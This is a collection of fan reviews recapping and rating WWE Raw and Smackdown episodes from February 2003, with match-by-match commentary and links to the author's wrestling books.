Morely makes fun of JR (how original) while Bischoff warms up. They’re ready to see Spike Dudley get beaten up.

Spike Dudley vs. Rico/3 Minute Warning

There’s nothing to say here: Spike gets beaten up for three and a half minutes with every single move you would expect from these three. A splash from Jamal lets Rico get the pin (while grabbing tights). This is a thing that happened and we’re moving on.

No Way Out rundown.

Scott Steiner gives a shockingly normal interview about Sunday. HHH says he’s the best but he couldn’t beat Steiner so Steiner must be the best. He’ll prove it on Sunday when he wins the title. Booker comes up to exchange catchphrases.

Scott Steiner/Booker T. vs. HHH/Batista

Booker throws HHH (with his taped thigh) around to start and gets two off a backdrop. The jumping knee drops Booker though and it’s off to Batista for some clubbing forearms. Steiner comes in and glares at HHH but stops to go after Flair, allowing HHH to jump him from behind.

Orton gets in a few cheap shots on the floor, sending JR into a funny rant about how long Orton has been on the shelf with a shoulder injury. Back in and Steiner has to fight out of the sleeper for the hot tag to Booker so house can be cleaned. Everything breaks down and Steiner beats up Evolution, leaving Booker to ax kick HHH for the surprise pin.

Rating: D. Nothing to see here but it’s nice that they’re not even trying to hide the fact that Steiner is DONE in the main event and Sunday is just a formality. Booker seems to be the next challenger for the title, which would have been better a few months ago but at least it seems to be happening.

Bischoff comes out for the match with JR but first he has to beat up some boards and watermelons.

Eric Bischoff vs. Jim Ross

Coach is on commentary. Eric makes it no holds barred and does the Karate Kid pose so JR hits him in the face, drawing in Morely for the beatdown. Morely puts a cinder block next to JR’s head for the big kick and JR is out. Cue Lawler for the save attempt but Morely beats him down, leaving Bischoff to pin the bloody JR with a kick.

Rating: F. This wasn’t a match and that’s about what was expected. I know Bischoff is all cocky because he has Val Venis in his corner and knows karate but this is reaching a pretty low point in stupid evil boss history. At least Vince would hire a big name or some monster to fight for him. Morely isn’t enough and it’s not exactly a secret.

Bischoff drinks beer in Austin fashion to end the show.

Overall Rating: D. Raw is in big trouble at the moment and I’m not sure if Austin is the solution. To be fair though, a lot of the problem is talking about Austin all the time despite him never showing up on TV. This show was a lot of filler and a lot of Bischoff and that really doesn’t make for a good two hours. Another lame show this week but now it’s just directionless and boring instead of horrible and I guess that’s a step up (I think?).

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Smackdown – February 13, 2003: They Have a Way Out

Smackdown
Date: February 13, 2003
Location: Centennial Garden, Bakersfield, California
Commentators: Michael Cole, Tazz

We’re less than two weeks away from No Way Out and you can see most of the card from here. The big story coming out of last week is Team Angle, now with a title for each, seemingly getting ready to face Edge/Chris Benoit/Brock Lesnar. Other than that there’s always Rock vs. Hulk Hogan so let’s get to it.

Opening sequence.

There’s another crate addressed to Undertaker.

Charlie Haas vs. Edge

Haas has Paul Heyman with him. Edge takes him down into an armbar to start so Charlie hammers away in the corner as they’re doing the opposite of what you would probably expect. Something close to an exploder suplex gives Charlie two, followed by a northern lights suplex for the same.

A double arm crank keeps Edge in trouble for a bit before he pops up with his own suplex to drop Charlie. An enziguri stuns Charlie again and the Edge-O-Matic gets two. Edge gets creative with something like a DDT fisherman’s suplex (basically a fisherman’s suplex without wrapping Haas’ arm around his neck first) for two but Heyman gets on the apron. The spear drops him but Charlie grabs a rollup for the pin.

Rating: C. The ending hurt it a good bit but they’re doing a great job of building up Team Angle. They win more often than not and it keeps them from looking weak. Today, a team like them would probably be jobbing every other week in singles matches while WWE blamed them for their horrible work or something like that.

Nathan Jones will be on Smackdown. Not for long that is but he’ll be here.

Angle is in Stephanie’s office when she comes in. After complimenting her new hair, Angle hands her a rose in a fairly random bit of niceness. He actually goes to kiss her when Brock Lesnar comes in. The staredown ensues so Stephanie announces the six man tag for No Way Out. Angle takes the rose back.

Rikishi vs. Nunzio

Rematch from last week when Nunzio threatened mob connections. Nunzio dives at him before the bell but here are Chuck Palumbo and Johnny the Bull to beat Rikishi down. No match.

Rey Mysterio vs. Matt Hardy

Matt, who always gets more Valentine’s Day cards than his brother, doesn’t send flowers and only gets chocolates, is down from 230lbs to 222lbs, putting him near the cruiserweight limit of 220. Matt is wrestling in a rubber suit to burn more weight in a creative idea. The extra gear seems to mess with him a bit though as he can’t keep up with Rey and gets taken out of the corner with an ankle scissors. A missed charge sends Rey outside though and Shannon Moore gets in a few stomps of his own.

Matt gets two off a gutwrench suplex as Cole suggests Tazz get in one of those rubber suits. Tazz: “Nah Cole I just take a bunch of Stacker II (sponsor at the time)”. A surfboard with Matt’s boot between Rey’s shoulders doesn’t get him very far so it’s off to a torture rack for a bit better result.

Matt seems to be getting winded though and it’s a spring seated senton for no cover. Rey gets two off a springboard split legged moonsault but dives into a Side Effect for the same. Matt is almost completely gassed though and falls to his knees, right into 619 position. The West Coast Pop puts Matt away.

Rating: C+. I like this idea and it gives Matt something to do, which is more than he’s had going on in a long time. If nothing else he’s still good with the comedy and this is a good way for him to showcase those skills. That being said, his Cruiserweight Title shot (providing he loses the weight) has already been announced so he shouldn’t be losing here.

Matt, dripping with sweat, promises to win the title at No Way Out.

We look back at Brian Kendrick’s time in WWE to date.

Kendrick is complaining about his bad luck to Sean O’Haire when Bill DeMott comes up. DeMott doesn’t want to hear about it and beats Kendrick up until O’Haire gets in Bill’s face for the save.

Chris Benoit vs. A-Train

A-Train tries to take Benoit into the corner to intimidate him. Why he thinks this would work isn’t clear and he has to get to the ropes to avoid the Crossface. A-Train slams him down on the ribs and drops an elbow for good measure. A modified Gory Stretch (with a reverse full nelson instead of pulling on the chin) sets up a modified Widow’s Peak. A-Train gets two off a Vader Bomb but Benoit slips out of the torture rack. Some good looking German suplexes (Benoit got him WAY up) have A-Train reeling but the Swan Dive misses. The bicycle kick gets two and it’s time for the Derailer, only to have Benoit reverse into the Crossface for the tap.

Rating: C. They were beating the heck out of each other here but Benoit was the right choice to carry things as A-Train did all of his power offense. This also helps Benoit going into the pay per view as he’s beating people he should beat. A-Train’s push continues to be all over the place but at least he’s not beating people he shouldn’t be.

The Girls Gone Wild boss comes up to Torrie Wilson to offer her a spot on his pay per view special. Torrie agrees, promising to get very wild.

We recap Big Show attacking Undertaker four months ago.

Heyman is in the ring with the crate and hopes Undertaker won’t destroy this present like he did to the man of love last week. Cue Undertaker with Heyman immediately looking nervous. Heyman leaves in a hurry and it’s…..Kanyon in the box. For some reason he’s dressed as Boy George and belts out a little Culture Club. Kanyon: “WHO BETTER THAN KANYON???” Tazz: “That guy looks familiar!” Kanyon gets in some offense but the beatdown is on in a hurry. Undertaker beats on him with a chair as Heyman begs for mercy.

Matt is wearing himself out on an exercise bike to lose more weight.

Funaki is with John Cena and tries to look like a rapper. Cena schools him a bit.

Eddie Guerrero vs. Shelton Benjamin

Joined in progress with Eddie getting out of a top wristlock and snapmaring him to the mat. Back up and a powerslam gives Shelton two, followed by an electric chair for the same. They’re certainly working the amateur stuff here, which is easily the best idea for both of them at this point. Shelton grabs a chinlock for a bit, followed by a very high backdrop for two. A belly to belly gives Eddie two in some of his first significant offense. They head to the corner with Eddie getting in a sunset bomb but missing the frog splash. Shelton is right back up with the Dragon Whip for the clean pin.

Rating: B. That’s quite the performance from someone who has such little main roster experience. Eddie helped a lot of course and it was very nice to see Shelton get in a ton of offense like this. It’s not like Eddie is going to lose anything from this match while Shelton gets a big rub. Good stuff.

LONG video on Rock vs. Hogan, recapping their feud from last year and show of respect after the showdown at Wrestlemania. Now they’re fighting again because Hogan is feuding with Vince, who brought Rock back for the match. In other words, the Rock is now just a soldier in Vince’s army against Hogan, who he’s fighting with because…..I have no idea. This is missing from the WWE Network for some reason.

Hugh Hefner tells us that a WWE Diva will be in Playboy soon.

Torrie Wilson vs. Dawn Marie

Bra and panties match with a bunch of Valentine’s Day stuff in the ring. During the entrances, Tazz thinks it’s going to be Stephanie in Playboy. That might not be the best idea in 2003. Dawn, who is wrestling in a sports bra in the first place, jumps her from behind and takes the shirt off to choke away. Torrie dropkicks her to the floor and gets Dawn’s top off, revealing a smaller bra. Dawn’s pants come halfway down before they try some rollups for the sake of camera shots.

Rating: D-. I can’t call them failures based on how they looked but sweet goodness these things do not hold up well. If nothing else it feels out of place when you have Team Angle and Eddie Guerrero on the show, making this quite the downgrade. They’re embarrassing as a wrestling fan and, given that Torrie would be in Playboy in a few months, would become even more obsolete in a hurry.

Nidia runs in post match but Torrie beats both heels down, gets Nidia’s pants off and spanks her a bit.

Brock Lesnar vs. John Cena

Brock leaves a chair out for Angle in case he’d like to come to ringside. Cena’s rap isn’t his best work as he calls Lesnar muscular and stupid. Brock beats him down in a hurry and gets in a hard backbreaker. The belly to belly suplex sends Cena out to the floor and Lesnar does it again for good measure. Brock rips off a turnbuckle pad for no apparent reason and Cena blasts him with the chain for two.

Cena grabs a rear naked choke of all things and even holds on despite being rammed hard into the buckle. Since that doesn’t work, Brock picks him up and rams him into two buckles for the break instead. Brock unloads with shoulders to the ribs in the corner and the third belly to belly (so it happened back then too). The F5 is enough for the pin.

Rating: B-. These two have always had a chemistry together and they’re always entertaining to watch as a result. Lesnar was way ahead of Cena at this point but you could see the potential in Cena starting to come out. The match was competitive and Cena got to show off a bit, which he needs at this point.

Post match Lesnar calls Angle out because he wants to do this right now. With Kurt not coming, Lesnar F5’s Cena into the post. We cut to Kurt in the back, eventually getting sick of this and coming out to the arena. Post break and here’s the champ to say they’ll give the fans the best match ever. Angle gets in Brock’s face but says not tonight. Bakersfield doesn’t deserve it and he has a sinus infection. Angle is willing to do it next week so Brock agrees before taking Angle down with a clothesline. Brock loads up the F5 into the post but has to deal with Team Angle. Lesnar stands tall to end the show.

Overall Rating: B. This was a solid wrestling show for the most part, assuming you ignore the women’s stuff. No Way Out is looking hit or miss from the Smackdown side but at least we have the good TV leading up. I’m sure the fact that Hogan wasn’t on the show had nothing to do with the quality going up either. That match is really starting to stick out as a bad idea, though Scott Steiner vs. HHH will make sure it’s not the worst thing on the pay per view. It’s a good Smackdown this week though and that’s always welcome.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


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Monday Night Raw – February 10, 2003 (2017 Redo): The Business Meeting Show

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Date: February 10, 2003
Location: Staples Center, Los Angeles, California
Commentators: Jim Ross, Jerry Lawler

We’re officially in the Evolution Era and less than two weeks away from No Way Out, meaning Scott Steiner vs. HHH II. Why we’re doing that is anyone’s guess but I would assume a lot of liquor was involved. There isn’t much else set on the Raw side but we’ll likely remedy that tonight. Let’s get to it.

In Memory of Curt Hennig. That’s an especially sad one.

We get a long recap of the Bischoff Needs to Fix Raw angle, which seems to be culminating tonight because WWE can’t count to thirty.

Here’s a nervous looking Bischoff to open things up. Eric hasn’t heard from Steve Austin about No Way Out and that means he might be in trouble. Vince McMahon is on his way here tonight and there’s a good chance that he’s going to get fired. Eric starts sucking up to the fans and then demands their support. The old villains never learn.

Until Vince gets here, Eric is going to do whatever he wants to do and he’s going to start with the commentary team. Jim Ross seems to have almost guaranteed that Austin will be back but now it’s not happening. Eric thinks JR could do more and blames him for Austin not signing. JR suggests that Austin just hates Eric for firing him from WCW (there’s a reference that not many people will get) so Eric fires him.

During the break, a limo arrived with Eric waiting outside, only to find Evolution instead of Vince.

Since Lawler is on his own, he plugs his book in something that fits Lawler so perfectly.

Christian vs. Test

Test takes him down and rams his head into the mat a few times as Lawler tries to figure out how to do JR’s job. Christian snaps Test’s neck across the ropes as Jonathan Coachman comes out to join commentary. The pumphandle slam is countered into a reverse DDT for two on Test as Lawler is instantly better with someone to talk to. Test misses the big boot but hits the full nelson slam for the pin.

Rating: D. The story is helping Test a bit but that doesn’t make his matches any better. At least it’s not the same unfunny Testicles jokes over and over again, which were much more stupid than anything else. I can’t imagine they’ll put Test over Jericho in the eventual blowoff match but at least he’s getting a win here.

Christian takes Test out post match but Jeff Hardy of all people comes in to save Stacy.

JR tries to get in touch with Austin.

We recap Booker T. and Goldust splitting last week in a rushed yet emotional moment. Then Evolution electrocuted Goldust later in the night because reasons. On a well run show, this would lead to Booker/Goldust vs. Evolution but they don’t seem smart enough to pull that off at the moment.

Booker T. vs. D’Lo Brown

Yeah they’re not that smart. Booker dedicates this to Goldust but Brown and Teddy Long cut him off. Teddy says Goldust is another white man holding the man down and suggests a team with D’Lo. Booker opts to chop and punch away in the corner instead until Brown leg lariats him down. The side kick (clearly not making contact) sets up the ax kick to give Booker the easy win.

Jericho asks for a match with Jeff Hardy.

Jazz vs. Molly Holly

Molly goes right after her and has as much luck as you would expect with Jazz easily taking her down into a cross between the Muta Lock and Cattle Mutilation. Rolling butterfly suplexes get two on Molly as Lawler tries to figure out JR’s job status. A half crab cuts off Molly’s comeback and the STF puts her away without too much effort.

Rating: C. I’m not a big Jazz fan but she beat the heck out of Molly here and made it look awesome. Sometimes you need someone tough and awesome who can beat the heck out of various opponents. The problem is the division isn’t exactly deep right now and Jazz is probably already the #1 contender after winning one match. Not that she’s not undeserving of it but I could go with dedicating more time to set things up.

Jazz gives her the double chickenwing faceplant and the STF.

Steve calls JR. Fink comes up and asks what’s going on but that was Steve from Oklahoma, not Austin.

Kane/Rob Van Dam vs. 3 Minute Warning

Van Dam starts with Jamal and is quickly shoved off the top and onto the barricade in a big crash. Rosey gets in some clubbing forearms but heel miscommunication allows the hot tag to Kane. House is quickly cleaned and Rolling Thunder gets two on Rosey. A chokeslam into the Five Star puts Jamal away.

Rating: D. Just a step above a squash here as 3 Minute Warning somehow gets even less interesting and valuable every single week. I really don’t know why they’re even still on Raw other than filling in time. Kane and Van Dam are working as the oddball team and it gives them something to do, which in a way is a lot more important than having good matches.

Vince arrives and wants to know why JR is in the parking lot.

Here’s Vince in the ring for the big speech of the week. He wastes no time in calling down Bischoff and Chief Morely. Coach: “It’s been a long thirty days.” Actually it’s been a short 21 days. Starting with Morely, he hasn’t met any of the goals that Vince has set for him. He’s not getting fired immediately though, because he has a chance to keep his job. All he has to do is win a match against all three Dudley Boyz.

Morely goes to get ready so Vince asks if Bischoff has signed Austin, which apparently became the saving grace move off camera. Vince says Eric would have saved his job if he had signed Austin but Bischoff pleads his case. By that he means bringing out lesbians for HLA. But wait, because these aren’t just regular lesbians but rather bisexual lesbians. Since that’s one heck of an oxymoron, Vince fires him anyway. Vince even leads the Goodbye Song on the way out and throws in the maniacal strut.

William Regal and Lance Storm suck up to Vince after a break and he announces a new GM being hired tonight.

Chief Morely vs. Dudley Boyz

The trio wastes no time in starting the beating with a double flapjack and overhand chops in the corner. There’s a Samoan drop before the trio just stomps him down in the middle. A whip sends Morely into the steps and they bounce off his head for good measure. The Dudley Dog and 3D finally end the massacre.

Rating: D. It’s pretty unfair to rate this but obviously this was more about the angle than the “match”. This is all it needed to be though as the Dudleyz have been screwed over by Morely and Bischoff for weeks now and it’s time for them to get something back. They kept it quick though and this accomplished its goal. Morely deserves some credit here too as he sold everything really well.

Morely goes through a table for good measure.

Bischoff offers JR a handshake but he tells Eric to go clean out his desk.

Batista vs. Tommy Dreamer

Batista Bomb and we’re done in 22 seconds.

Booker T. comes in for the post match save but Scott Steiner makes the real save.

Jeff Hardy nods at Shawn Michaels but says nothing.

Stacy has a new idea for Test: some personal appearances with GGW. Yes, that would be Girls Gone Wild.

Bischoff is packing up his office (as he does every week) but the Dudleyz come in to sing the Goodbye Song again.

Chris Jericho vs. Jeff Hardy

Jeff’s headlock doesn’t get him anywhere so Jericho forearms him in the face to take over. Hardy gets tossed over the top but Jericho misses a dive for a crash on the floor. Jeff sends him into the steps but gets crotched on the way back inside. A backbreaker keeps Jeff in trouble and Jericho bends the back over his knee to make things even worse.

Jeff’s comeback is cut off by a clothesline and we hit the chinlock with a knee in the back as the crowd is really not interested so far. Back up and Jericho goes shoulder first into the post, though his leg is fine enough for an enziguri to take over again. The Walls go on but are quickly broken with Jeff taking him down in a hurry. The Swanton gets two with Jericho getting his foot on the ropes. Jericho has had enough now and grabs the Walls for the tap, which Jeff has to do three different times before the referee stops the match.

Rating: C. Jeff is on another planet at this point and it’s becoming clear that he’s not getting much better anytime soon. I have no idea what happened with the heel turn from last week but he’s about as much of a face as you can be this time around. Jericho was doing what he could here but that was only going to get him so far.

Evolution is on the way to the strip to celebrate but Vince cuts them off, saying the new GM is about to be announced. Next week, it’s going to HHH/Batista vs. Booker T./Scott Steiner.

Here’s Vince to announce the new GM. Jim Ross comes out but Vince says it’s not him. Bischoff comes out behind JR, who says Austin WILL BE at No Way Out. That means JR is reinstated…..and so is Bischoff, assuming he’s will to join Vince’s signature Club (complete with Vince making it do tricks). Eric says no way so Vince puts him in a match with Austin at No Way Out to end the show. Somehow everything from the announcement of the club to the end of the show took nearly eight minutes.

Overall Rating: D. The wrestling wasn’t all that great but even worse than that is the whole Bischoff junk. Ignoring the fact that they apparently can’t count to thirty, there’s the fact that this story has been little more than “Sorry fans, but your rattlesnake is on another show.” Raw has become a mess as of late, though at least this week didn’t focus on Steiner, who has been shifted to more of a glorified afterthought role. That’s better for everyone, though it still doesn’t make for a good show.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


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Smackdown – February 6, 2003: Ignore the Man and LOOK AT THE TONGUE!

Smackdown
Date: February 6, 2003
Location: First Union Center, Philadelphia, Pennsylvania
Commentators: Michael Cole, Tazz

No Way Out is creeping closer and it’s pretty clear that Hulk Hogan vs. the Rock is the main event, even if the big match on the horizon is Hogan vs. Vince McMahon. Other than that though we have Team Angle gearing up to face Los Guerreros for the Tag Team Titles, which should be a lot of fun. Let’s get to it.

Opening sequence.

There’s a crane in the arena and a big gift from Big Show, which has Undertaker’s name on it. Last time I remember seeing one of those things it was Cactus Jack so hopefully it’s more of the same.

Rey Mysterio vs. Jamie Noble

Mysterio looks at the package on the way in. Is your name Undertaker Rey? Then why are you looking at it? Quit being greedy. Jamie does the same but that’s more acceptable since he’s a poor West Virginian and didn’t get many presents growing up. They run the ropes before awkwardly colliding with Jamie getting the better of it. A gutbuster gives Jamie two and we hit an early abdominal stretch.

Rey pops up and hits a spinning springboard crossbody for two of his own. Nidia pulls Rey off the apron but Rey is right back up for the 619 a few seconds later. That’s broken up by Nidia as well but an enziguri sets up the double 619 on both villains. Tazz: “TWELVE THIRTY EIGHT!” The West Coast Pop puts Jamie away.

Rating: D+. Just a match here as Rey gets some momentum back after getting crushed by A-Train. It would seem that they’re saving his Cruiserweight Title win for a major moment, though putting him in that nothing division would seem like a huge downgrade. The title can barely get five minutes a week and we’re supposed to buy Rey, who was going toe to toe with Angle just a few weeks ago, not being able to beat some of the talent down there?

Rock joins us via satellite and rips on Philadelphia and its cheese steaks before saying it’s because he’s lactose intolerant. He’ll take some Tampa Bay Tofu instead (Tampa recently eliminated the Philadelphia Eagles from the NFL Playoffs) but first let’s hear them chanting his names. They boo instead, because Rock is one of the best heels in wrestling when he wants to be.

Rock is cool with being booed because he knows he can electrify like no other. After mentioning Eagles quarterback Donovan McNabb, Rock says there’s one person Philadelphia never turned on: Hulk Hogan. After talking about a phone number Hogan can call to get a whipping, Rock wraps it up. This is still tweener stuff but when Rock turns on the full on heel push, it’s going to be amazing.

Rikishi vs. Nunzio

Nunzio goes straight after him to start and gets superkicked for his efforts. The running splash in the corner sets up the Rump Shaker for the fast pin. Squash.

Rikishi starts dancing but Nunzio says cut it out because he’s got friends. As I’ve said time after time: stop trying to start angles with people who just got beat in a minute and a half. It makes it really hard to care and I don’t know why wrestling companies think it’s a good idea.

Here’s Heyman to order the gift brought to the ring. Post break Heyman says Big Show isn’t here tonight but he’d like Undertaker to come out here and get his gift. Undertaker comes out and Heyman bails, leaving the gift to be opened to reveal….Brother Love. With the annoying voice sounding exactly the same, Love talks about a message of forgiveness to Big Show. Love brings up their history and says if Undertaker remembers anything from their original time together. Undertaker chokeslams and Tombstones him in short order. Good little cameo here and it didn’t overstay its welcome as so many others do.

Hogan is here and runs into Brock Lesnar, who he’s all cool with all of a sudden.

Matt Hardy vs. Billy Kidman

Non-title though Matt has a TV/DVD player in his car and usually exceeds the speed limit. Kidman goes after Shannon Moore and walks into an early Side Effect. A legdrop gets two but Kidman is back up with a dropkick and a Sky High for two of his own. Kidman heads up top but dives into a Twist of Fate attempt, only to counter it into a rollup for the pin on Hardy. Too short to rate but energetic while it lasted.

Matt promises to drop ten pounds and take Kidman’s most cherished possession. Torrie Wilson?

Kurt Angle tells his team to fly like an eagle. Kurt: “A real eagle. Not the Philadelphia Eagles.” We get the idea already.

Tag Team Titles: Los Guerreros vs. Team Angle

Eddie and Chavo are defending and it’s just Heyman with Team Angle instead of Kurt. Chavo and Benjamin start things off with the former getting in way over his head in a technical sequence. It’s off to Eddie instead and a dropkick knocks Haas down so Chavo can get two.

Benjamin comes back in and eats a clothesline before getting choked in the corner. Charlie gets drawn in so the champs can crotch Benjamin against the post, bugging Shelton’s eyes out of his head. Shelton finally fights out of a chinlock and takes Eddie into the corner, only to have Eddie whipped into Chavo for a double knockdown. Another collision sends Chavo outside in a heap and we take a break.

Back with Chavo in trouble and Haas dropping some rapid fire elbows for two. The jump over Haas onto Chavo’s back gives Shelton two more but Eddie breaks up a second attempt. Everything breaks down and Chavo DDTs both champions, allowing the hot tag to Eddie. Three Amigos get two on Charlie and it’s an old school Powerplex with Shelton making a save. Charlie German suplexes Eddie but gets caught in a sunset bomb for another near fall. Eddie shoves Shelton off the top and hits the frog splash but Benjamin isn’t legal. The confusion lets Charlie roll Eddie up for the pin and the titles.

Rating: B. I rather like the fact that Team Angle won the belts clean. Yeah it was a bit of a confusing ending but it was completely within the rules as Eddie was the one covering the wrong man. Chavo and Eddie’s antics alone will keep them over so Team Angle can get a lot more out of the titles, especially since they’re so new.

Heyman seems more excited than the new champions.

Here’s Hogan to respond to Rock but before his music even quits playing though, Rock comes on screen to interrupt again. Hogan calls Rock out for not being here in Philadelphia but Rock tells him to get to the WELL LET ME TELL YOU SOMETHING BROTHER because everything else is just meaningless.

Hogan talks about Rock being lucky that he’s nowhere near Philadelphia but hang on again. It turns out that Rock has to leave because the tofu is ready. Hogan needs to get to the point already but Rock wants Hulk to remind him to give him a beating at No Way Out, if you smell (Rock: “LOOK AT THE TONGUE! LOOK AT THE TONGUE!”) what he’s cooking.

Rock leaves so Hogan goes on a rant about Vince thinking Hulkamania is on life support because he’s scared to face Hulk one on one. He dubs Rock as the Rock-a-Jabroni (egads) and promises that the millions and millions of Hulkamaniacs are going to run wild on Rock at No Way Out. As you might have guessed, Rock was entertaining because he was mixing things up while Hogan was one of the two same promos he’s cut for about five years at this point.

The locker room is watching Hogan talk in the back when Sean O’Haire comes in to talk to Brian Kendrick. O’Haire thinks Kendrick should streak to get attention and Brian thinks it’s a good idea. He puts on a scarf (reference to a commercial at the time) and thankfully we go to a break.

A-Train vs. Shannon Moore

Kendrick runs in without anything on, dances around, runs away from the referee and sprints through the crowd. A-Train wins in about forty five seconds with the Train Wreck.

Kendrick comes back until referees corner him, only to have Brian dive underneath the ring and escape to the back.

During the break, Kendrick ran into Stephanie’s office so size jokes can be made. As usual, there was no reason to have Stephanie here other than for the sake of her getting screen time.

Here’s John Cena to call out Lesnar for no logical reason. Cena insults Lesnar’s intelligence and says Brock can have the next big thing if Cena takes his pants off.

Benoit talks about how amazing the ovation he received in Boston was, only to have Angle come in. Angle says the title and gold medal are his wife and children so no one is taking them away.

Chris Benoit vs. Kurt Angle

Angle’s wife isn’t on the line. Benoit armdrags him into an armbar and gets two off a snap suplex. Angle sends Chris outside and Heyman actually runs him over in a rare sight. Back in and we hit a chinlock with a bodyscissors. A belly to back suplex gets two but Benoit makes a quick comeback with a clothesline and backdrop. The Crossface goes on but Angle reverses into a cradle to escape.

The Angle Slam is countered into a Crossface on the other arm as the crowd is really not reacting to any of this. Angle can’t use an ankle lock to escape but he gets to the ropes for a break. Kurt is back up with a buckle bomb of all things, only to get thrown down with a release German suplex. A bloody Benoit gets two but misses the Swan Dive to get us back to even. Benoit’s headlock is countered into the Angle Slam for the VERY sudden pin. Maybe they went home fast because of the cut?

Rating: B. Well that was quick. The match ran about ten minutes and felt like it needed another five when it just ended. Benoit certainly didn’t have the same fire out there but you’re only going to get so much with a limited time on a run of the mill TV show. Even on a bad night these two are going to be good though, so it’s hard to complain much.

Post match Team Angle comes in, only to have Edge and Lesnar make the save to end the show. Sounds like a six man.

Overall Rating: C+. The two matches involving Kurt/Team Angle were both good but it’s a barren wasteland outside of them. The only things coming into my mind are Kendrick streaking, Matt needing to lose weight and Rock shouting LOOK AT THE TONGUE. As has been mentioned many times, this show (and its counterpart) really need something for the midcard to do and it’s becoming clear that there was no need to get rid of the Intercontinental and US Titles. Just bring them back already and let the show improve because of it. The good matches carry this but good night it would have been bad without them.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6